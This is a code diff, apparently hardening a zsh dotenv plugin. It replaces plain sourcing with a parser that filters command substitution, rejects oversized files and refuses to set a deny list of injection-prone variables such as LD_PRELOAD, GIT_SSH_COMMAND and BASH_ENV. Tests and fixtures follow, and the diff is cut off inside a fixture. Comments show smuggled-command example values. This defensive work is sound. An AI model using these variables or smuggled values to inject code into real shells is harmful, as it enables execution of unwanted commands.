alias dst='docker container start'
|
alias dst='docker container start'
|
||||||
alias drs='docker container restart'
|
alias drs='docker container restart'
|
||||||
alias dsta='docker stop $(docker ps -q)'
|
alias dsta='docker stop $(docker ps -q)'
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
tap: false
|
||||||
|
directories:
|
||||||
|
tests: tests
|
||||||
|
output: tests/_output
|
||||||
|
support: tests/_support
|
||||||
|
time_limit: 0
|
||||||
|
fail_fast: false
|
||||||
|
allow_risky: false
|
||||||
|
verbose: false
|
||||||
@@ -34,6 +34,25 @@ PORT=3001
|
|||||||
|
|
||||||
You can even mix both formats, although it's probably a bad idea.
|
You can even mix both formats, although it's probably a bad idea.
|
||||||
|
|
||||||
|
Multi-line values are supported using quoted strings:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEowIBAAKCAQEA...
|
||||||
|
-----END RSA PRIVATE KEY-----"
|
||||||
|
```
|
||||||
|
|
||||||
|
Variables defined earlier in the file can be referenced by later entries:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
BASE_URL=https://example.com
|
||||||
|
API_URL=$BASE_URL/api
|
||||||
|
ASSETS_URL=${BASE_URL}/assets
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: only variables defined within the same `.env` file are expanded this way —
|
||||||
|
shell environment variables that already exist are **not** substituted.
|
||||||
|
|
||||||
## Settings
|
## Settings
|
||||||
|
|
||||||
### ZSH_DOTENV_FILE
|
### ZSH_DOTENV_FILE
|
||||||
@@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
|
|||||||
|
|
||||||
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cd plugins/dotenv && zunit
|
||||||
|
```
|
||||||
|
|
||||||
|
> [NOTE!]
|
||||||
|
> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
|
||||||
|
|
||||||
## Version Control
|
## Version Control
|
||||||
|
|
||||||
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
||||||
|
|
||||||
## Disclaimer
|
## Security
|
||||||
|
|
||||||
This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
|
The plugin applies several best-effort safeguards when loading a `.env` file:
|
||||||
|
|
||||||
|
- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
|
||||||
|
- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
|
||||||
|
- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
|
||||||
|
- **Forbidden variables** — the following variables are never overwritten, regardless of what the
|
||||||
|
`.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
|
||||||
|
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
|
||||||
|
`GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
|
||||||
|
`GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
|
||||||
|
parameters.
|
||||||
|
|
||||||
|
These measures are **best-effort** — you are still responsible for the content of your `.env`
|
||||||
|
file. Do not use this plugin as a security boundary.
|
||||||
|
|
||||||
If you need more advanced and feature-rich ENV management, check out these awesome projects:
|
If you need more advanced and feature-rich ENV management, check out these awesome projects:
|
||||||
|
|
||||||
|
|||||||
@@ -7,9 +7,271 @@
|
|||||||
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
|
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
|
||||||
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
|
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
|
||||||
|
|
||||||
|
|
||||||
## Functions
|
## Functions
|
||||||
|
|
||||||
|
_parse_dotenv_content() {
|
||||||
|
setopt localoptions extendedglob
|
||||||
|
|
||||||
|
local content="$1"
|
||||||
|
local mode="${2:-export}"
|
||||||
|
|
||||||
|
# Validate mode argument
|
||||||
|
case "$mode" in
|
||||||
|
export|test) ;;
|
||||||
|
*)
|
||||||
|
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
local node line key value
|
||||||
|
local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
|
||||||
|
local sq dq uq safe
|
||||||
|
local -A parsed_vars
|
||||||
|
local -a nodes lines
|
||||||
|
|
||||||
|
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
|
||||||
|
# (Z:C:) ignores comments and preserves quotes and escapes.
|
||||||
|
#
|
||||||
|
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
|
||||||
|
# by joining all elements between ';'.
|
||||||
|
#
|
||||||
|
# Example input:
|
||||||
|
# VAR1=value1; VAR2=value2
|
||||||
|
# VAR3="multi
|
||||||
|
# line value"
|
||||||
|
# Result:
|
||||||
|
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
|
||||||
|
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
|
||||||
|
#
|
||||||
|
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
|
||||||
|
for node in "${nodes[@]}"; do
|
||||||
|
if [[ "$node" == ";" ]]; then
|
||||||
|
if [[ -n "$line" ]]; then
|
||||||
|
lines+=("$line")
|
||||||
|
line=""
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
[[ -z "$line" ]] || line+=" "
|
||||||
|
line+="$node"
|
||||||
|
done
|
||||||
|
|
||||||
|
local -a forbidden_vars=(
|
||||||
|
NODE_OPTIONS
|
||||||
|
BASH_ENV
|
||||||
|
ENV
|
||||||
|
ZDOTDIR
|
||||||
|
ZSH
|
||||||
|
LD_PRELOAD
|
||||||
|
LD_LIBRARY_PATH
|
||||||
|
DYLD_INSERT_LIBRARIES
|
||||||
|
GIT_CONFIG_GLOBAL
|
||||||
|
GIT_DIR
|
||||||
|
GIT_EDITOR
|
||||||
|
GIT_EXTERNAL_DIFF
|
||||||
|
GIT_EXEC_PATH
|
||||||
|
GIT_PAGER
|
||||||
|
GIT_SSH
|
||||||
|
GIT_SSH_COMMAND
|
||||||
|
GIT_SSL_NO_VERIFY
|
||||||
|
GIT_TEMPLATE_DIR
|
||||||
|
VISUAL
|
||||||
|
PAGER
|
||||||
|
EDITOR
|
||||||
|
${(k)parameters[(R)*export*special]}
|
||||||
|
)
|
||||||
|
local forbidden="${(j:|:)forbidden_vars}"
|
||||||
|
|
||||||
|
|
||||||
|
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
|
||||||
|
for line in "${lines[@]}"; do
|
||||||
|
# Strip leading 'export ' keyword
|
||||||
|
line="${line#export[ ]}"
|
||||||
|
|
||||||
|
# Match KEY=VALUE pattern
|
||||||
|
# "A name may be any sequence of alphanumeric characters and underscores"
|
||||||
|
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
|
||||||
|
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
key="${match[1]}"
|
||||||
|
value="${match[2]}"
|
||||||
|
raw_value="$value"
|
||||||
|
|
||||||
|
# Filter out variables to be ignored for security reasons (best effort)
|
||||||
|
if [[ "$key" == (${~forbidden}) ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
|
||||||
|
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
|
||||||
|
local -a words
|
||||||
|
words=("${(@z)value}")
|
||||||
|
if [[ ${#words} -ne 1 ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
## START: FILTER COMMAND EXPANSION
|
||||||
|
#
|
||||||
|
# Filter lines with command expansion not in safe contexts
|
||||||
|
#
|
||||||
|
# READER'S NOTE: this is actually a "best effort" check (works in tests), but
|
||||||
|
# only to prevent setting variables with command substitution. The actual effect
|
||||||
|
# of setting them would not be a vulnerability, because we use `typeset name=value`
|
||||||
|
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
|
||||||
|
#
|
||||||
|
# What does this mean? If we were to remove this filter block, this is what would happen:
|
||||||
|
#
|
||||||
|
# Input: DANGEROUS=$(echo this is a command)
|
||||||
|
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
|
||||||
|
#
|
||||||
|
# Check for potential command substitution outside of safe contexts
|
||||||
|
# - single-quoted strings: command substitution is literal there
|
||||||
|
sq="'[^']#'"
|
||||||
|
# - double-quoted strings, but NOT unescaped ` or $(
|
||||||
|
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
|
||||||
|
# - unquoted text, but NOT unescaped ` or $(
|
||||||
|
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
|
||||||
|
safe="(${sq}|${dq}|${uq})#"
|
||||||
|
# Remove the longest safe prefix; what remains starts at first unsafe construct
|
||||||
|
remainder="${value##${~safe}}"
|
||||||
|
|
||||||
|
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
## END: FILTER COMMAND EXPANSION
|
||||||
|
|
||||||
|
# Single-quoted values are fully literal and must not participate in expansion.
|
||||||
|
if [[ "$raw_value" == \'*\' ]]; then
|
||||||
|
value="${(Q)value}"
|
||||||
|
parsed_vars[$key]="$value"
|
||||||
|
if [[ "$mode" == "export" ]]; then
|
||||||
|
typeset -x "$key"="$value"
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Preserve escaped dollars so they remain literal after unquoting.
|
||||||
|
escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
|
||||||
|
value="${value//\\\$/$escaped_dollar_placeholder}"
|
||||||
|
|
||||||
|
# Unquote the value to handle special characters and multiline values.
|
||||||
|
value="${(Q)value}"
|
||||||
|
|
||||||
|
# Expand previously parsed in-file variables without partial name matches.
|
||||||
|
expanded=""
|
||||||
|
prefix=""
|
||||||
|
remainder="$value"
|
||||||
|
var_name=""
|
||||||
|
while [[ "$remainder" == *'$'* ]]; do
|
||||||
|
prefix="${remainder%%\$*}"
|
||||||
|
expanded+="$prefix"
|
||||||
|
remainder="${remainder#$prefix}"
|
||||||
|
|
||||||
|
if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
|
||||||
|
var_name="${match[1]}"
|
||||||
|
remainder="${match[2]}"
|
||||||
|
elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
|
||||||
|
var_name="${match[1]}"
|
||||||
|
remainder="${match[2]}"
|
||||||
|
else
|
||||||
|
expanded+='$'
|
||||||
|
remainder="${remainder#?}"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ -v "parsed_vars[$var_name]" ]]; then
|
||||||
|
expanded+="${parsed_vars[$var_name]}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
value="${expanded}${remainder}"
|
||||||
|
value="${value//$escaped_dollar_placeholder/\$}"
|
||||||
|
|
||||||
|
# Store in parsed vars (for in-file expansion)
|
||||||
|
parsed_vars[$key]="$value"
|
||||||
|
|
||||||
|
# Normal mode: export the variable
|
||||||
|
if [[ "$mode" == "export" ]]; then
|
||||||
|
typeset -x "$key"="$value"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# In test mode, set DOTENV_TEST_VARS
|
||||||
|
typeset -gA DOTENV_TEST_VARS
|
||||||
|
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
|
||||||
|
}
|
||||||
|
|
||||||
|
parse_dotenv() {
|
||||||
|
local filename="$1"
|
||||||
|
local mode="${2:-export}"
|
||||||
|
local content
|
||||||
|
|
||||||
|
# Fail if file is too large to avoid DoS
|
||||||
|
zmodload -F zsh/stat b:zstat
|
||||||
|
local -i file_size max_size=10485760 # 10MiB
|
||||||
|
if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
|
||||||
|
echo "dotenv: unable to determine size of file '$filename'" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if (( file_size > max_size )); then
|
||||||
|
echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
content="$(<"$filename")" || return 1
|
||||||
|
_parse_dotenv_content "$content" "$mode"
|
||||||
|
}
|
||||||
|
|
||||||
|
_dotenv_read_limited() {
|
||||||
|
local filename="$1"
|
||||||
|
local chunk content=""
|
||||||
|
local -i max_size=10485760 total=0 read_size=0 fd read_status
|
||||||
|
|
||||||
|
zmodload zsh/system || return 1
|
||||||
|
exec {fd}<"$filename" || return 1
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
sysread -i $fd -s 65536 -c read_size chunk
|
||||||
|
read_status=$?
|
||||||
|
|
||||||
|
if (( read_status == 5 )); then
|
||||||
|
break
|
||||||
|
elif (( read_status != 0 )); then
|
||||||
|
exec {fd}<&-
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
(( total += read_size ))
|
||||||
|
if (( total > max_size )); then
|
||||||
|
exec {fd}<&-
|
||||||
|
echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
content+="$chunk"
|
||||||
|
done
|
||||||
|
|
||||||
|
exec {fd}<&-
|
||||||
|
REPLY="$content"
|
||||||
|
}
|
||||||
|
|
||||||
|
_dotenv_check_syntax() {
|
||||||
|
local filename="$1"
|
||||||
|
|
||||||
|
if (( $# == 2 )); then
|
||||||
|
printf '%s' "$2" | zsh -fn /dev/stdin
|
||||||
|
else
|
||||||
|
zsh -fn -- "$filename"
|
||||||
|
fi || {
|
||||||
|
echo "dotenv: error when sourcing '$filename' file" >&2
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
source_env() {
|
source_env() {
|
||||||
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
||||||
return
|
return
|
||||||
@@ -37,28 +299,35 @@ source_env() {
|
|||||||
[[ $column -eq 1 ]] || echo
|
[[ $column -eq 1 ]] || echo
|
||||||
|
|
||||||
# print same-line prompt and output newline character if necessary
|
# print same-line prompt and output newline character if necessary
|
||||||
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
|
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
|
||||||
read -k 1 confirmation
|
read -k 1 confirmation
|
||||||
[[ "$confirmation" = $'\n' ]] || echo
|
[[ "$confirmation" = $'\n' ]] || echo
|
||||||
|
|
||||||
# check input
|
# check input
|
||||||
case "$confirmation" in
|
case "$confirmation" in
|
||||||
[nN]) return ;;
|
[yY]) ;;
|
||||||
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
|
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
|
||||||
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
|
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
|
||||||
*) ;; # interpret anything else as a yes
|
*) return ;; # interpret anything else as a no
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# test .env syntax
|
local content
|
||||||
zsh -fn $ZSH_DOTENV_FILE || {
|
if [[ -p "$ZSH_DOTENV_FILE" ]]; then
|
||||||
echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
|
_dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
|
||||||
return 1
|
content="$REPLY"
|
||||||
}
|
_dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
|
||||||
|
|
||||||
|
setopt localoptions allexport
|
||||||
|
_parse_dotenv_content "$content"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
_dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
|
||||||
|
|
||||||
setopt localoptions allexport
|
setopt localoptions allexport
|
||||||
source $ZSH_DOTENV_FILE
|
parse_dotenv "$ZSH_DOTENV_FILE"
|
||||||
}
|
}
|
||||||
|
|
||||||
autoload -U add-zsh-hook
|
autoload -U add-zsh-hook
|
||||||
|
|||||||
@@ -0,0 +1,2 @@
|
|||||||
|
*
|
||||||
|
!.gitignore
|
||||||
@@ -0,0 +1,139 @@
|
|||||||
|
#!/usr/bin/env zsh
|
||||||
|
# Bootstrap script for dotenv plugin tests
|
||||||
|
# This is sourced before any tests run and provides shared utilities
|
||||||
|
|
||||||
|
# Load the dotenv plugin
|
||||||
|
source "$PWD/dotenv.plugin.zsh"
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE=/dev/null
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in test mode
|
||||||
|
_parse_dotenv_test() {
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in export mode
|
||||||
|
_parse_dotenv_export() {
|
||||||
|
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
|
||||||
|
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
|
||||||
|
for key in "${(k)DOTENV_TEST_VARS}"; do
|
||||||
|
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Run parse_dotenv suppressing stderr
|
||||||
|
_parse_dotenv_quiet() {
|
||||||
|
parse_dotenv "$@" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Create a temporary test fixture
|
||||||
|
_create_temp_fixture() {
|
||||||
|
local fixture
|
||||||
|
fixture==(:) # Create temp file
|
||||||
|
echo "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
_write_temp_fixture() {
|
||||||
|
local fixture="$1"
|
||||||
|
> "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Helper: Source file with allexport and capture variables
|
||||||
|
# Usage: _source_with_allexport "file.env"
|
||||||
|
# Result is in DOTENV_SOURCE_VARS associative array
|
||||||
|
_source_with_allexport() {
|
||||||
|
local filename="$1"
|
||||||
|
|
||||||
|
# Source with allexport in a subshell with no exported variables
|
||||||
|
|
||||||
|
# The return and capture of the exported variables is a bit of a pain:
|
||||||
|
# 1. We first store the key=value pairs in $vars associative array, which is
|
||||||
|
# defined before allexport is set to avoid appearing in results.
|
||||||
|
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
|
||||||
|
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
|
||||||
|
# we join them with nulls.
|
||||||
|
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
|
||||||
|
# empty values, and then uses it to populate an associative array.
|
||||||
|
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
|
||||||
|
typeset -gA DOTENV_SOURCE_VARS
|
||||||
|
DOTENV_SOURCE_VARS=("${(@0)"$(
|
||||||
|
local -A vars
|
||||||
|
|
||||||
|
# Clear all exports first
|
||||||
|
zmodload zsh/parameter
|
||||||
|
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
|
||||||
|
|
||||||
|
# Source file with allexport
|
||||||
|
setopt localoptions allexport
|
||||||
|
source "$filename"
|
||||||
|
|
||||||
|
# Set all exported variables into an associative array
|
||||||
|
for key in ${(k)parameters[(R)*export*]}; do
|
||||||
|
vars[$key]="${(P)key}"
|
||||||
|
done
|
||||||
|
|
||||||
|
print -rn -- "${(@kvpj:\0:)vars}"
|
||||||
|
)"}")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
## ZUnit assertion helpers
|
||||||
|
|
||||||
|
_zunit_assert_function_exists() {
|
||||||
|
[[ "${+functions[$1]}" -eq 1 ]] && return 0
|
||||||
|
echo "Function '$1' does not exist"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_same_as() {
|
||||||
|
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
|
||||||
|
if [[ $tvalue != $tcomp ]]; then
|
||||||
|
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
|
||||||
|
exit 78
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Special case for associative arrays
|
||||||
|
if [[ ${(Pt)1} == "association" ]]; then
|
||||||
|
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
|
||||||
|
local -aU keys=("${(@k)value}" "${(@k)comparison}")
|
||||||
|
|
||||||
|
local ret=0 key
|
||||||
|
for key in "${keys[@]}"; do
|
||||||
|
# Key match checks
|
||||||
|
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is set (value='${value[$key]}')"
|
||||||
|
ret=1
|
||||||
|
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
|
||||||
|
ret=1
|
||||||
|
# Value match checks
|
||||||
|
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
|
||||||
|
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
|
||||||
|
ret=1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
exit $ret
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generic case
|
||||||
|
local value="${(P)1}" comparison="${(P)2}"
|
||||||
|
[[ "$value" != "$comparison" ]] || exit 0
|
||||||
|
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_set() {
|
||||||
|
[[ -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is not set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_not_set() {
|
||||||
|
[[ ! -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
# Consolidated dotenv test fixture from dotenv test suite
|
||||||
|
# Source: https://github.com/motdotla/dotenv/tree/master/tests
|
||||||
|
#
|
||||||
|
# Copyright (c) 2015, Scott Motte
|
||||||
|
# All rights reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
# * Redistributions of source code must retain the above copyright notice, this
|
||||||
|
# list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
|
||||||
|
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
# Export syntax
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
|
||||||
|
# Testing multiline quoting edge cases
|
||||||
|
MULTILINE_UNQUOTED=This\ is\ a\ \
|
||||||
|
